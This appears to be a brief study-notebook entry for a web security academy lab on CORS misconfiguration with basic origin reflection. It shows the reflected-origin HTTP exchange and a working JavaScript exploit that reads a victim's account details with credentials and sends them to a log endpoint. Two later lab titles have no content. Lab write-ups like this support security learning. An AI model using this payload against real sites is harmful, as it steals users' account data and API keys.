labs
Lab - 1: CORS vulnerability with basic origin reflection
GET /accountDetails HTTP/1.1
Host: 0a7c000b04e72c9cc058415000db0089.web-security-academy.net
Origin: https://example.com
...
===============
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
...<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(
"get", // https: need to add to get answer
"https://0a7c000b04e72c9cc058415000db0089.web-security-academy.net/accountDetails",
true
);
req.withCredentials = true;
req.send();
function reqListener() {
location = "/log?key=" + this.responseText;
}
</script>Lab - 2: CORS vulnerability with trusted null origin (A)
Lab - 3: CORS vulnerability with trusted insecure protocols (P)
Last updated